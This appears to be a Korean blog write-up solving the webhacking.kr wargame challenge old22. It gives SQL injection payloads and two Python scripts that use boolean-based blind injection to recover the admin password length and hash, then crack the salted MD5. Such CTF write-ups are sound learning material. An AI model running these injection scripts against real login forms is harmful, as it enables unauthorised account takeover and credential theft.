webhacking.kr - old22

2021. 4. 11. 17:49WarGame/webhaking.kr

문제 화면에 접속하면 admin으로 접속하라고 나옵니다!!

기본적인 sqli 를 해보니

구문이 참이 되는 경우에는

아래와 같이 나오고,

구문이 거짓인 경우는

login fail이라고 나옵니다.

근데 join버튼이 있으니 회원가입을 진행해보면

username : m0nd2y

pw : 1234

완료되었다고 뜨고, 로그인해주면

해쉬값이 나옵니다.

hash가 32자리니까 md5일 가능성이 높고, decrypt돌려주면

전에 입력했던 비번 + apple 이 출력되는것을 알 수 있습니다.

salt 값이 apple 이라고 추측할 수 있겠죠.

이제 admin의 비번을 알아내기 위해 아까 찾았던 1'or'1=1'-- -구문을 변환해서

> admin'and length(pw)="+str(i)+"-- -"

구문을 활용해줍니다.

import requests
import string


URL = "https://webhacking.kr/challenge/bonus-2/index.php"

for i in range(32, 100) :
    payload = "admin'and length(pw)="+str(i)+"-- -"
    data = {'uuid': payload, 'pw': '1234'}
    response=requests.post(URL, data=data)
    print(i)
    if("Wrong password!" in response.text) :
        print("length(pw) = " + str(i))

위 코드를 확인하면

비번이 32자리인 것을 확인할 수 있고,

비밀번호를 찾는 payload를 돌려주면

import requests
import string


result = ""
test = string.digits + string.ascii_lowercase + string.ascii_uppercase
print(test)
for i in range(1, 33) :
    for j in test :
        payload = "admin\'and ascii(substr(pw,"+str(i)+",1))="+str(ord(str(j)))+"-- -"
        data = {'uuid': payload, 'pw': '1234'}
        response=requests.post(URL, data=data)
        if("Wrong password!" in response.text) :
            print("["+str(i)+"th] password is = " + str(j))
            result += str(j)
            print(result)
            break;
print(result)

 

아래와 같이 admin의 hash값을 구할 수 있고 이를 변환해주면

 

아래와 같이

 

 

 

wowapple 이란 값을 가지고 있는 것을 확인할 수 있습니다.

apple은 아마도 salt값일테니, wow를 비밀번호로 입력해주면

 

 

풀이가 가능합니다.

'WarGame > webhaking.kr' 카테고리의 다른 글

webhacking.kr - old28  (0) 2021.04.13
webhacking.kr - old55  (0) 2021.04.12
webhacking.kr - old52  (0) 2021.04.10
webhacking.kr - old60  (0) 2021.04.07
webhacking.kr - old53  (0) 2021.04.07